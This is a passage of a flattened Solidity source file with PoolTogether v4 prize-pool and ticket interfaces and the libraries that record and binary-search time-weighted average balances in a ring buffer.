/// @dev Checks with the Prize Pool if a specific token type may be awarded as an external prize /// @param externalToken The address of the token to check /// @return True if the token may be awarded, false otherwise function canAwardExternal(address externalToken) external view returns (bool); // @dev Returns the total underlying balance of all assets. This includes both principal and interest. /// @return The underlying balance of assets function balance() external returns (uint256); /** * @notice Read internal Ticket accounted balance. * @return uint256 accountBalance */ function getAccountedBalance() external view returns (uint256); /** * @notice Read internal balanceCap variable */ function getBalanceCap() external view returns (uint256); /** * @notice Read internal liquidityCap variable */ function getLiquidityCap() external view returns (uint256); /** * @notice Read ticket variable */ function getTicket() external view returns (ITicket); /** * @notice Read token variable */ function getToken() external view returns (address); /** * @notice Read prizeStrategy variable */ function getPrizeStrategy() external view returns (address); /// @dev Checks if a specific token is controlled by the Prize Pool /// @param controlledToken The address of the token to check /// @return True if the token is a controlled token, false otherwise function isControlled(ITicket controlledToken) external view returns (bool); /// @notice Called by the Prize-Strategy to transfer out external ERC20 tokens /// @dev Used to transfer out tokens held by the Prize Pool. Could be liquidated, or anything. /// @param to The address of the winner that receives the award /// @param externalToken The address of the external asset token being awarded /// @param amount The amount of external assets to be awarded function transferExternalERC20( address to, address externalToken, uint256 amount ) external; /// @notice Called by the Prize-Strategy to award external ERC20 prizes /// @dev Used to award any arbitrary tokens held by the Prize Pool /// @param to The address of the winner that receives the award /// @param amount The amount of external assets to be awarded /// @param externalToken The address of the external asset token being awarded function awardExternalERC20( address to, address externalToken, uint256 amount ) external; /// @notice Called by the prize strategy to award external ERC721 prizes /// @dev Used to award any arbitrary NFTs held by the Prize Pool /// @param to The address of the winner that receives the award /// @param externalToken The address of the external NFT token being awarded /// @param tokenIds An array of NFT Token IDs to be transferred function awardExternalERC721( address to, address externalToken, uint256[] calldata tokenIds ) external; /// @notice Allows the owner to set a balance cap per `token` for the pool. /// @dev If a user wins, his balance can go over the cap. He will be able to withdraw the excess but not deposit. /// @dev Needs to be called after deploying a prize pool to be able to deposit into it. /// @param balanceCap New balance cap. /// @return True if new balance cap has been successfully set. function setBalanceCap(uint256 balanceCap) external returns (bool); /// @notice Allows the Governor to set a cap on the amount of liquidity that he pool can hold /// @param liquidityCap The new liquidity cap for the prize pool function setLiquidityCap(uint256 liquidityCap) external; /// @notice Sets the prize strategy of the prize pool. Only callable by the owner. /// @param _prizeStrategy The new prize strategy. function setPrizeStrategy(address _prizeStrategy) external; /// @notice Set prize pool ticket. /// @param ticket Address of the ticket to set. /// @return True if ticket has been successfully set. function setTicket(ITicket ticket) external returns (bool); /// @notice Delegate the votes for a Compound COMP-like token held by the prize pool /// @param compLike The COMP-like token held by the prize pool that should be delegated /// @param to The address to delegate to function compLikeDelegate(ICompLike compLike, address to) external; } // File: @pooltogether/v4-core/contracts/interfaces/IPrizeSplit.sol // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.6; import "./IControlledToken.sol"; import "./IPrizePool.sol"; /** * @title Abstract prize split contract for adding unique award distribution to static addresses. * @author PoolTogether Inc Team */ interface IPrizeSplit { /** * @notice Emit when an individual prize split is awarded. * @param user User address being awarded * @param prizeAwarded Awarded prize amount * @param token Token address */ event PrizeSplitAwarded( address indexed user, uint256 prizeAwarded, IControlledToken indexed token ); /** * @notice The prize split configuration struct. * @dev The prize split configuration struct used to award prize splits during distribution. * @param target Address of recipient receiving the prize split distribution * @param percentage Percentage of prize split using a 0-1000 range for single decimal precision i.e. 125 = 12.5% */ struct PrizeSplitConfig { address target; uint16 percentage; } /** * @notice Emitted when a PrizeSplitConfig config is added or updated. * @dev Emitted when a PrizeSplitConfig config is added or updated in setPrizeSplits or setPrizeSplit. * @param target Address of prize split recipient * @param percentage Percentage of prize split. Must be between 0 and 1000 for single decimal precision * @param index Index of prize split in the prizeSplts array */ event PrizeSplitSet(address indexed target, uint16 percentage, uint256 index); /** * @notice Emitted when a PrizeSplitConfig config is removed. * @dev Emitted when a PrizeSplitConfig config is removed from the prizeSplits array. * @param target Index of a previously active prize split config */ event PrizeSplitRemoved(uint256 indexed target); /** * @notice Read prize split config from active PrizeSplits. * @dev Read PrizeSplitConfig struct from prizeSplits array. * @param prizeSplitIndex Index position of PrizeSplitConfig * @return PrizeSplitConfig Single prize split config */ function getPrizeSplit(uint256 prizeSplitIndex) external view returns (PrizeSplitConfig memory); /** * @notice Read all prize splits configs. * @dev Read all PrizeSplitConfig structs stored in prizeSplits. * @return Array of PrizeSplitConfig structs */ function getPrizeSplits() external view returns (PrizeSplitConfig[] memory); /** * @notice Get PrizePool address * @return IPrizePool */ function getPrizePool() external view returns (IPrizePool); /** * @notice Set and remove prize split(s) configs. Only callable by owner. * @dev Set and remove prize split configs by passing a new PrizeSplitConfig structs array. Will remove existing PrizeSplitConfig(s) if passed array length is less than existing prizeSplits length. * @param newPrizeSplits Array of PrizeSplitConfig structs */ function setPrizeSplits(PrizeSplitConfig[] calldata newPrizeSplits) external; /** * @notice Updates a previously set prize split config. * @dev Updates a prize split config by passing a new PrizeSplitConfig struct and current index position. Limited to contract owner. * @param prizeStrategySplit PrizeSplitConfig config struct * @param prizeSplitIndex Index position of PrizeSplitConfig to update */ function setPrizeSplit(PrizeSplitConfig memory prizeStrategySplit, uint8 prizeSplitIndex) external; } // File: @pooltogether/v4-core/contracts/interfaces/IStrategy.sol // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.6; interface IStrategy { /** * @notice Emit when a strategy captures award amount from PrizePool. * @param totalPrizeCaptured Total prize captured from the PrizePool */ event Distributed(uint256 totalPrizeCaptured); /** * @notice Capture the award balance and distribute to prize splits. * @dev Permissionless function to initialize distribution of interst * @return Prize captured from PrizePool */ function distribute() external returns (uint256); } // File: @pooltogether/v4-core/contracts/interfaces/ITicket.sol // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.6; import "../libraries/TwabLib.sol"; import "./IControlledToken.sol"; interface ITicket is IControlledToken { /** * @notice A struct containing details for an Account. * @param balance The current balance for an Account. * @param nextTwabIndex The next available index to store a new twab. * @param cardinality The number of recorded twabs (plus one!). */ struct AccountDetails { uint224 balance; uint16 nextTwabIndex; uint16 cardinality; } /** * @notice Combines account details with their twab history. * @param details The account details. * @param twabs The history of twabs for this account. */ struct Account { AccountDetails details; ObservationLib.Observation[65535] twabs; } /** * @notice Emitted when TWAB balance has been delegated to another user. * @param delegator Address of the delegator. * @param delegate Address of the delegate. */ event Delegated(address indexed delegator, address indexed delegate); /** * @notice Emitted when ticket is initialized. * @param name Ticket name (eg: PoolTogether Dai Ticket (Compound)). * @param symbol Ticket symbol (eg: PcDAI). * @param decimals Ticket decimals. * @param controller Token controller address. */ event TicketInitialized(string name, string symbol, uint8 decimals, address indexed controller); /** * @notice Emitted when a new TWAB has been recorded. * @param delegate The recipient of the ticket power (may be the same as the user). * @param newTwab Updated TWAB of a ticket holder after a successful TWAB recording. */ event NewUserTwab( address indexed delegate, ObservationLib.Observation newTwab ); /** * @notice Emitted when a new total supply TWAB has been recorded. * @param newTotalSupplyTwab Updated TWAB of tickets total supply after a successful total supply TWAB recording. */ event NewTotalSupplyTwab(ObservationLib.Observation newTotalSupplyTwab); /** * @notice Retrieves the address of the delegate to whom `user` has delegated their tickets. * @dev Address of the delegate will be the zero address if `user` has not delegated their tickets. * @param user Address of the delegator. * @return Address of the delegate. */ function delegateOf(address user) external view returns (address); /** * @notice Delegate time-weighted average balances to an alternative address. * @dev Transfers (including mints) trigger the storage of a TWAB in delegate(s) account, instead of the targetted sender and/or recipient address(s). * @dev To reset the delegate, pass the zero address (0x000.000) as `to` parameter. * @dev Current delegate address should be different from the new delegate address `to`. * @param to Recipient of delegated TWAB. */ function delegate(address to) external; /** * @notice Allows the controller to delegate on a users behalf. * @param user The user for whom to delegate * @param delegate The new delegate */ function controllerDelegateFor(address user, address delegate) external; /** * @notice Allows a user to delegate via signature * @param user The user who is delegating * @param delegate The new delegate * @param deadline The timestamp by which this must be submitted * @param v The v portion of the ECDSA sig * @param r The r portion of the ECDSA sig * @param s The s portion of the ECDSA sig */ function delegateWithSignature( address user, address delegate, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @notice Gets a users twab context. This is a struct with their balance, next twab index, and cardinality. * @param user The user for whom to fetch the TWAB context. * @return The TWAB context, which includes { balance, nextTwabIndex, cardinality } */ function getAccountDetails(address user) external view returns (TwabLib.AccountDetails memory); /** * @notice Gets the TWAB at a specific index for a user. * @param user The user for whom to fetch the TWAB. * @param index The index of the TWAB to fetch. * @return The TWAB, which includes the twab amount and the timestamp. */ function getTwab(address user, uint16 index) external view returns (ObservationLib.Observation memory); /** * @notice Retrieves `user` TWAB balance. * @param user Address of the user whose TWAB is being fetched. * @param timestamp Timestamp at which we want to retrieve the TWAB balance. * @return The TWAB balance at the given timestamp. */ function getBalanceAt(address user, uint64 timestamp) external view returns (uint256); /** * @notice Retrieves `user` TWAB balances. * @param user Address of the user whose TWABs are being fetched. * @param timestamps Timestamps range at which we want to retrieve the TWAB balances. * @return `user` TWAB balances. */ function getBalancesAt(address user, uint64[] calldata timestamps) external view returns (uint256[] memory); /** * @notice Retrieves the average balance held by a user for a given time frame. * @param user The user whose balance is checked. * @param startTime The start time of the time frame. * @param endTime The end time of the time frame. * @return The average balance that the user held during the time frame. */ function getAverageBalanceBetween( address user, uint64 startTime, uint64 endTime ) external view returns (uint256); /** * @notice Retrieves the average balances held by a user for a given time frame. * @param user The user whose balance is checked. * @param startTimes The start time of the time frame. * @param endTimes The end time of the time frame. * @return The average balance that the user held during the time frame. */ function getAverageBalancesBetween( address user, uint64[] calldata startTimes, uint64[] calldata endTimes ) external view returns (uint256[] memory); /** * @notice Retrieves the total supply TWAB balance at the given timestamp. * @param timestamp Timestamp at which we want to retrieve the total supply TWAB balance. * @return The total supply TWAB balance at the given timestamp. */ function getTotalSupplyAt(uint64 timestamp) external view returns (uint256); /** * @notice Retrieves the total supply TWAB balance between the given timestamps range. * @param timestamps Timestamps range at which we want to retrieve the total supply TWAB balance. * @return Total supply TWAB balances. */ function getTotalSuppliesAt(uint64[] calldata timestamps) external view returns (uint256[] memory); /** * @notice Retrieves the average total supply balance for a set of given time frames. * @param startTimes Array of start times. * @param endTimes Array of end times. * @return The average total supplies held during the time frame. */ function getAverageTotalSuppliesBetween( uint64[] calldata startTimes, uint64[] calldata endTimes ) external view returns (uint256[] memory); } // File: @pooltogether/v4-core/contracts/libraries/ExtendedSafeCastLib.sol // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.6; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library ExtendedSafeCastLib { /** * @dev Returns the downcasted uint208 from uint256, reverting on * overflow (when the input is greater than largest uint208). * * Counterpart to Solidity's `uint208` operator. * * Requirements: * * - input must fit into 208 bits */ function toUint208(uint256 _value) internal pure returns (uint208) { require(_value <= type(uint208).max, "SafeCast: value doesn't fit in 208 bits"); return uint208(_value); } /** * @dev Returns the downcasted uint224 from uint256, reverting on * overflow (when the input is greater than largest uint224). * * Counterpart to Solidity's `uint224` operator. * * Requirements: * * - input must fit into 224 bits */ function toUint224(uint256 _value) internal pure returns (uint224) { require(_value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits"); return uint224(_value); } } // File: @pooltogether/v4-core/contracts/libraries/ObservationLib.sol // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.6; import "@openzeppelin/contracts/utils/math/SafeCast.sol"; import "./OverflowSafeComparatorLib.sol"; import "./RingBufferLib.sol"; /** * @title Observation Library * @notice This library allows one to store an array of timestamped values and efficiently binary search them. * @dev Largely pulled from Uniswap V3 Oracle.sol: https://github.com/Uniswap/v3-core/blob/c05a0e2c8c08c460fb4d05cfdda30b3ad8deeaac/contracts/libraries/Oracle.sol * @author PoolTogether Inc. */ library ObservationLib { using OverflowSafeComparatorLib for uint32; using SafeCast for uint256; /// @notice The maximum number of observations uint24 public constant MAX_CARDINALITY = 16777215; // 2**24 /** * @notice Observation, which includes an amount and timestamp. * @param amount `amount` at `timestamp`. * @param timestamp Recorded `timestamp`. */ struct Observation { uint224 amount; uint32 timestamp; } /** * @notice Fetches Observations `beforeOrAt` and `atOrAfter` a `_target`, eg: where [`beforeOrAt`, `atOrAfter`] is satisfied. * The result may be the same Observation, or adjacent Observations. * @dev The answer must be contained in the array used when the target is located within the stored Observation. * boundaries: older than the most recent Observation and younger, or the same age as, the oldest Observation. * @dev If `_newestObservationIndex` is less than `_oldestObservationIndex`, it means that we've wrapped around the circular buffer. * So the most recent observation will be at `_oldestObservationIndex + _cardinality - 1`, at the beginning of the circular buffer. * @param _observations List of Observations to search through. * @param _newestObservationIndex Index of the newest Observation. Right side of the circular buffer. * @param _oldestObservationIndex Index of the oldest Observation. Left side of the circular buffer. * @param _target Timestamp at which we are searching the Observation. * @param _cardinality Cardinality of the circular buffer we are searching through. * @param _time Timestamp at which we perform the binary search. * @return beforeOrAt Observation recorded before, or at, the target. * @return atOrAfter Observation recorded at, or after, the target. */ function binarySearch( Observation[MAX_CARDINALITY] storage _observations, uint24 _newestObservationIndex, uint24 _oldestObservationIndex, uint32 _target, uint24 _cardinality, uint32 _time ) internal view returns (Observation memory beforeOrAt, Observation memory atOrAfter) { uint256 leftSide = _oldestObservationIndex; uint256 rightSide = _newestObservationIndex < leftSide ? leftSide + _cardinality - 1 : _newestObservationIndex; uint256 currentIndex; while (true) { // We start our search in the middle of the `leftSide` and `rightSide`. // After each iteration, we narrow down the search to the left or the right side while still starting our search in the middle. currentIndex = (leftSide + rightSide) / 2; beforeOrAt = _observations[uint24(RingBufferLib.wrap(currentIndex, _cardinality))]; uint32 beforeOrAtTimestamp = beforeOrAt.timestamp; // We've landed on an uninitialized timestamp, keep searching higher (more recently). if (beforeOrAtTimestamp == 0) { leftSide = currentIndex + 1; continue; } atOrAfter = _observations[uint24(RingBufferLib.nextIndex(currentIndex, _cardinality))]; bool targetAtOrAfter = beforeOrAtTimestamp.lte(_target, _time); // Check if we've found the corresponding Observation. if (targetAtOrAfter && _target.lte(atOrAfter.timestamp, _time)) { break; } // If `beforeOrAtTimestamp` is greater than `_target`, then we keep searching lower. To the left of the current index. if (!targetAtOrAfter) { rightSide = currentIndex - 1; } else { // Otherwise, we keep searching higher. To the left of the current index. leftSide = currentIndex + 1; } } } } // File: @pooltogether/v4-core/contracts/libraries/OverflowSafeComparatorLib.sol // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.6; /// @title OverflowSafeComparatorLib library to share comparator functions between contracts /// @dev Code taken from Uniswap V3 Oracle.sol: https://github.com/Uniswap/v3-core/blob/3e88af408132fc957e3e406f65a0ce2b1ca06c3d/contracts/libraries/Oracle.sol /// @author PoolTogether Inc. library OverflowSafeComparatorLib { /// @notice 32-bit timestamps comparator. /// @dev safe for 0 or 1 overflows, `_a` and `_b` must be chronologically before or equal to time. /// @param _a A comparison timestamp from which to determine the relative position of `_timestamp`. /// @param _b Timestamp to compare against `_a`. /// @param _timestamp A timestamp truncated to 32 bits. /// @return bool Whether `_a` is chronologically < `_b`. function lt( uint32 _a, uint32 _b, uint32 _timestamp ) internal pure returns (bool) { // No need to adjust if there hasn't been an overflow if (_a <= _timestamp && _b <= _timestamp) return _a < _b; uint256 aAdjusted = _a > _timestamp ? _a : _a + 2**32; uint256 bAdjusted = _b > _timestamp ? _b : _b + 2**32; return aAdjusted < bAdjusted; } /// @notice 32-bit timestamps comparator. /// @dev safe for 0 or 1 overflows, `_a` and `_b` must be chronologically before or equal to time. /// @param _a A comparison timestamp from which to determine the relative position of `_timestamp`. /// @param _b Timestamp to compare against `_a`. /// @param _timestamp A timestamp truncated to 32 bits. /// @return bool Whether `_a` is chronologically <= `_b`. function lte( uint32 _a, uint32 _b, uint32 _timestamp ) internal pure returns (bool) { // No need to adjust if there hasn't been an overflow if (_a <= _timestamp && _b <= _timestamp) return _a <= _b; uint256 aAdjusted = _a > _timestamp ? _a : _a + 2**32; uint256 bAdjusted = _b > _timestamp ? _b : _b + 2**32; return aAdjusted <= bAdjusted; } /// @notice 32-bit timestamp subtractor /// @dev safe for 0 or 1 overflows, where `_a` and `_b` must be chronologically before or equal to time /// @param _a The subtraction left operand /// @param _b The subtraction right operand /// @param _timestamp The current time. Expected to be chronologically after both. /// @return The difference between a and b, adjusted for overflow function checkedSub( uint32 _a, uint32 _b, uint32 _timestamp ) internal pure returns (uint32) { // No need to adjust if there hasn't been an overflow if (_a <= _timestamp && _b <= _timestamp) return _a - _b; uint256 aAdjusted = _a > _timestamp ? _a : _a + 2**32; uint256 bAdjusted = _b > _timestamp ? _b : _b + 2**32; return uint32(aAdjusted - bAdjusted); } } // File: @pooltogether/v4-core/contracts/libraries/RingBufferLib.sol // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.6; library RingBufferLib { /** * @notice Returns wrapped TWAB index. * @dev In order to navigate the TWAB circular buffer, we need to use the modulo operator. * @dev For example, if `_index` is equal to 32 and the TWAB circular buffer is of `_cardinality` 32, * it will return 0 and will point to the first element of the array. * @param _index Index used to navigate through the TWAB circular buffer. * @param _cardinality TWAB buffer cardinality. * @return TWAB index. */ function wrap(uint256 _index, uint256 _cardinality) internal pure returns (uint256) { return _index % _cardinality; } /** * @notice Computes the negative offset from the given index, wrapped by the cardinality. * @dev We add `_cardinality` to `_index` to be able to offset even if `_amount` is superior to `_cardinality`. * @param _index The index from which to offset * @param _amount The number of indices to offset. This is subtracted from the given index. * @param _cardinality The number of elements in the ring buffer * @return Offsetted index. */ function offset( uint256 _index, uint256 _amount, uint256 _cardinality ) internal pure returns (uint256) { return wrap(_index + _cardinality - _amount, _cardinality); } /// @notice Returns the index of the last recorded TWAB /// @param _nextIndex The next available twab index. This will be recorded to next. /// @param _cardinality The cardinality of the TWAB history. /// @return The index of the last recorded TWAB function newestIndex(uint256 _nextIndex, uint256 _cardinality) internal pure returns (uint256) { if (_cardinality == 0) { return 0; } return wrap(_nextIndex + _cardinality - 1, _cardinality); } /// @notice Computes the ring buffer index that follows the given one, wrapped by cardinality /// @param _index The index to increment /// @param _cardinality The number of elements in the Ring Buffer /// @return The next index relative to the given index. Will wrap around to 0 if the next index == cardinality function nextIndex(uint256 _index, uint256 _cardinality) internal pure returns (uint256) { return wrap(_index + 1, _cardinality); } } // File: @pooltogether/v4-core/contracts/libraries/TwabLib.sol // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.6; import "./ExtendedSafeCastLib.sol"; import "./OverflowSafeComparatorLib.sol"; import "./RingBufferLib.sol"; import "./ObservationLib.sol"; /** * @title PoolTogether V4 TwabLib (Library) * @author PoolTogether Inc Team * @dev Time-Weighted Average Balance Library for ERC20 tokens. * @notice This TwabLib adds on-chain historical lookups to a user(s) time-weighted average balance. Each user is mapped to an Account struct containing the TWAB history (ring bufffer) and ring buffer parameters. Every token.transfer() creates a new TWAB checkpoint. The new TWAB checkpoint is stored in the circular ring buffer, as either a new checkpoint or rewriting a previous checkpoint with new parameters. The TwabLib (using existing blocktimes 1block/15sec) guarantees minimum 7.4 years of search history. */ library TwabLib { using OverflowSafeComparatorLib for uint32; using ExtendedSafeCastLib for uint256; /** * @notice Sets max ring buffer length in the Account.twabs Observation list. As users transfer/mint/burn tickets new Observation checkpoints are recorded. The current max cardinality guarantees a six month minimum, of historical accurate lookups with current estimates of 1 new block every 15 seconds - the of course contain a transfer to trigger an observation write to storage. * @dev The user Account.AccountDetails.cardinality parameter can NOT exceed the max cardinality variable. Preventing "corrupted" ring buffer lookup pointers and new observation checkpoints. The MAX_CARDINALITY in fact guarantees at least 7.4 years of records: If 14 = block time in seconds (2**24) * 14 = 234881024 seconds of history 234881024 / (365 * 24 * 60 * 60) ~= 7.44 years */ uint24 public constant MAX_CARDINALITY = 16777215; // 2**24 /** @notice Struct ring buffer parameters for single user Account * @param balance Current balance for an Account * @param nextTwabIndex Next uninitialized or updatable ring buffer checkpoint storage slot * @param cardinality Current total "initialized" ring buffer checkpoints for single user AccountDetails. Used to set initial boundary conditions for an efficient binary search. */ struct AccountDetails { uint208 balance; uint24 nextTwabIndex; uint24 cardinality; } /// @notice Combines account details with their twab history /// @param details The account details /// @param twabs The history of twabs for this account struct Account { AccountDetails details; ObservationLib.Observation[MAX_CARDINALITY] twabs; } /// @notice Increases an account's balance and records a new twab. /// @param _account The account whose balance will be increased /// @param _amount The amount to increase the balance by /// @param _currentTime The current time /// @return accountDetails The new AccountDetails /// @return twab The user's latest TWAB /// @return isNew Whether the TWAB is new function increaseBalance( Account storage _account, uint208 _amount, uint32 _currentTime ) internal returns ( AccountDetails memory accountDetails, ObservationLib.Observation memory twab, bool isNew ) { AccountDetails memory _accountDetails = _account.details; (accountDetails, twab, isNew) = _nextTwab(_account.twabs, _accountDetails, _currentTime); accountDetails.balance = _accountDetails.balance + _amount; } /** @notice Calculates the next TWAB checkpoint for an account with a decreasing balance. * @dev With Account struct and amount decreasing calculates the next TWAB observable checkpoint. * @param _account Account whose balance will be decreased * @param _amount Amount to decrease the balance by * @param _revertMessage Revert message for insufficient balance * @return accountDetails Updated Account.details struct * @return twab TWAB observation (with decreasing average) * @return isNew Whether TWAB is new or calling twice in the same block */ function decreaseBalance( Account storage _account, uint208 _amount, string memory _revertMessage, uint32 _currentTime ) internal returns ( AccountDetails memory accountDetails, ObservationLib.Observation memory twab, bool isNew ) { AccountDetails memory _accountDetails = _account.details; require(_accountDetails.balance >= _amount, _revertMessage); (accountDetails, twab, isNew) = _nextTwab(_account.twabs, _accountDetails, _currentTime); unchecked { accountDetails.balance -= _amount; } } /** @notice Calculates the average balance held by a user for a given time frame. * @dev Finds the average balance between start and end timestamp epochs. Validates the supplied end time is within the range of elapsed time i.e. less then timestamp of now. * @param _twabs Individual user Observation recorded checkpoints passed as storage pointer * @param _accountDetails User AccountDetails struct loaded in memory * @param _startTime Start of timestamp range as an epoch * @param _endTime End of timestamp range as an epoch * @param _currentTime Block.timestamp * @return Average balance of user held between epoch timestamps start and end */ function getAverageBalanceBetween( ObservationLib.Observation[MAX_CARDINALITY] storage _twabs, AccountDetails memory _accountDetails, uint32 _startTime, uint32 _endTime, uint32 _currentTime ) internal view returns (uint256) { uint32 endTime = _endTime > _currentTime ? _currentTime : _endTime; return _getAverageBalanceBetween(_twabs, _accountDetails, _startTime, endTime, _currentTime); } /// @notice Retrieves the oldest TWAB /// @param _twabs The storage array of twabs /// @param _accountDetails The TWAB account details /// @return index The index of the oldest TWAB in the twabs array /// @return twab The oldest TWAB function oldestTwab( ObservationLib.Observation[MAX_CARDINALITY] storage _twabs, AccountDetails memory _accountDetails ) internal view returns (uint24 index, ObservationLib.Observation memory twab) { index = _accountDetails.nextTwabIndex; twab = _twabs[index]; // If the TWAB is not initialized we go to the beginning of the TWAB circular buffer at index 0 if (twab.timestamp == 0) { index = 0; twab = _twabs[0]; } } /// @notice Retrieves the newest TWAB /// @param _twabs The storage array of twabs /// @param _accountDetails The TWAB account details /// @return index The index of the newest TWAB in the twabs array /// @return twab The newest TWAB function newestTwab( ObservationLib.Observation[MAX_CARDINALITY] storage _twabs, AccountDetails memory _accountDetails ) internal view returns (uint24 index, ObservationLib.Observation memory twab) { index = uint24(RingBufferLib.newestIndex(_accountDetails.nextTwabIndex, MAX_CARDINALITY)); twab = _twabs[index]; } /// @notice Retrieves amount at `_targetTime` timestamp /// @param _twabs List of TWABs to search through. /// @param _accountDetails Accounts details /// @param _targetTime Timestamp at which the reserved TWAB should be for. /// @return uint256 TWAB amount at `_targetTime`. function getBalanceAt( ObservationLib.Observation[MAX_CARDINALITY] storage _twabs, AccountDetails memory _accountDetails, uint32 _targetTime, uint32 _currentTime ) internal view returns (uint256) { uint32 timeToTarget = _targetTime > _currentTime ? _currentTime : _targetTime; return _getBalanceAt(_twabs, _accountDetails, timeToTarget, _currentTime); } /// @notice Calculates the average balance held by a user for a given time frame. /// @param _startTime The start time of the time frame. /// @param _endTime The end time of the time frame. /// @return The average balance that the user held during the time frame. function _getAverageBalanceBetween( ObservationLib.Observation[MAX_CARDINALITY] storage _twabs, AccountDetails memory _accountDetails, uint32 _startTime, uint32 _endTime, uint32 _currentTime ) private view returns (uint256) { (uint24 oldestTwabIndex, ObservationLib.Observation memory oldTwab) = oldestTwab( _twabs, _accountDetails ); (uint24 newestTwabIndex, ObservationLib.Observation memory newTwab) = newestTwab( _twabs, _accountDetails ); ObservationLib.Observation memory startTwab = _calculateTwab( _twabs, _accountDetails, newTwab, oldTwab, newestTwabIndex, oldestTwabIndex, _startTime, _currentTime ); ObservationLib.Observation memory endTwab = _calculateTwab( _twabs, _accountDetails, newTwab, oldTwab, newestTwabIndex, oldestTwabIndex, _endTime, _currentTime ); // Difference in amount / time return (endTwab.amount - startTwab.amount) / OverflowSafeComparatorLib.checkedSub(endTwab.timestamp, startTwab.timestamp, _currentTime); } /** @notice Searches TWAB history and calculate the difference between amount(s)/timestamp(s) to return average balance between the Observations closes to the supplied targetTime. * @param _twabs Individual user Observation recorded checkpoints passed as storage pointer * @param _accountDetails User AccountDetails struct loaded in memory * @param _targetTime Target timestamp to filter Observations in the ring buffer binary search * @param _currentTime Block.timestamp * @return uint256 Time-weighted average amount between two closest observations. */ function _getBalanceAt( ObservationLib.Observation[MAX_CARDINALITY] storage _twabs, AccountDetails memory _accountDetails, uint32 _targetTime, uint32 _currentTime ) private view returns (uint256) { uint24 newestTwabIndex; ObservationLib.Observation memory afterOrAt; ObservationLib.Observation memory beforeOrAt; (newestTwabIndex, beforeOrAt) = newestTwab(_twabs, _accountDetails); // If `_targetTime` is chronologically after the newest TWAB, we can simply return the current balance if (beforeOrAt.timestamp.lte(_targetTime, _currentTime)) { return _accountDetails.balance; } uint24 oldestTwabIndex; // Now, set before to the oldest TWAB (oldestTwabIndex, beforeOrAt) = oldestTwab(_twabs, _accountDetails); // If `_targetTime` is chronologically before the oldest TWAB, we can early return if (_targetTime.lt(beforeOrAt.timestamp, _currentTime)) { return 0; } // Otherwise, we perform the `binarySearch` (beforeOrAt, afterOrAt) = ObservationLib.binarySearch( _twabs, newestTwabIndex, oldestTwabIndex, _targetTime, _accountDetails.cardinality, _currentTime ); // Sum the difference in amounts and divide by the difference in timestamps. // The time-weighted average balance uses time measured between two epoch timestamps as // a constaint on the measurement when calculating the time weighted average balance. return (afterOrAt.amount - beforeOrAt.amount) / OverflowSafeComparatorLib.checkedSub(afterOrAt.timestamp, beforeOrAt.timestamp, _currentTime); } /** @notice Calculates a user TWAB for a target timestamp using the historical TWAB records. The balance is linearly interpolated: amount differences / timestamp differences using the simple (after.amount - before.amount / end.timestamp - start.timestamp) formula. /** @dev Binary search in _calculateTwab fails when searching out of bounds. Thus, before searching we exclude target timestamps out of range of newest/oldest TWAB(s). IF a search is before or after the range we "extrapolate" a Observation from the expected state. * @param _twabs Individual user Observation recorded checkpoints passed as storage pointer * @param _accountDetails User AccountDetails struct loaded in memory * @param _newestTwab Newest TWAB in history (end of ring buffer) * @param _oldestTwab Olderst TWAB in history (end of ring buffer) * @param _newestTwabIndex Pointer in ring buffer to newest TWAB * @param _oldestTwabIndex Pointer in ring buffer to oldest TWAB * @param _targetTimestamp Epoch timestamp to calculate for time (T) in the TWAB * @param _time Block.timestamp * @return accountDetails Updated Account.details struct */ function _calculateTwab( ObservationLib.Observation[MAX_CARDINALITY] storage _twabs, AccountDetails memory _accountDetails, ObservationLib.Observation memory _newestTwab, ObservationLib.Observation memory _oldestTwab, uint24 _newestTwabIndex, uint24 _oldestTwabIndex, uint32 _targetTimestamp, uint32 _time ) private view returns (ObservationLib.Observation memory) { // If `_targetTimestamp` is chronologically after the newest TWAB, we extrapolate a new one if (_newestTwab.timestamp.lt(_targetTimestamp, _time)) { return _computeNextTwab(_newestTwab, _accountDetails.balance, _targetTimestamp); } if (_newestTwab.timestamp == _targetTimestamp) { return _newestTwab; } if (_oldestTwab.timestamp == _targetTimestamp) { return _oldestTwab; } // If `_targetTimestamp` is chronologically before the oldest TWAB, we create a zero twab if (_targetTimestamp.lt(_oldestTwab.timestamp, _time)) { return ObservationLib.Observation({ amount: 0, timestamp: _targetTimestamp }); } // Otherwise, both timestamps must be surrounded by twabs. ( ObservationLib.Observation memory beforeOrAtStart, ObservationLib.Observation memory afterOrAtStart ) = ObservationLib.binarySearch( _twabs, _newestTwabIndex, _oldestTwabIndex, _targetTimestamp, _accountDetails.cardinality, _time ); uint224 heldBalance = (afterOrAtStart.amount - beforeOrAtStart.amount) / OverflowSafeComparatorLib.checkedSub(afterOrAtStart.timestamp, beforeOrAtStart.timestamp, _time); return _computeNextTwab(beforeOrAtStart, heldBalance, _targetTimestamp); } /** * @notice Calculates the next TWAB using the newestTwab and updated balance. * @dev Storage of the TWAB obersation is managed by the calling function and not _computeNextTwab. * @param _currentTwab Newest Observation in the Account.twabs list * @param _currentBalance User balance at time of most recent (newest) checkpoint write * @param _time Current block.timestamp * @return TWAB Observation */ function _computeNextTwab( ObservationLib.Observation memory _currentTwab, uint224 _currentBalance, uint32 _time ) private pure returns (ObservationLib.Observation memory) { // New twab amount = last twab amount (or zero) + (current amount * elapsed seconds) return ObservationLib.Observation({ amount: _currentTwab.amount + _currentBalance * (_time.checkedSub(_currentTwab.timestamp, _time)), timestamp: _time }); } /// @notice Sets a new TWAB Observation at the next available index and returns the new account details. /// @dev Note that if _currentTime is before the last observation timestamp, it appears as an overflow /// @param _twabs The twabs array to insert into /// @param 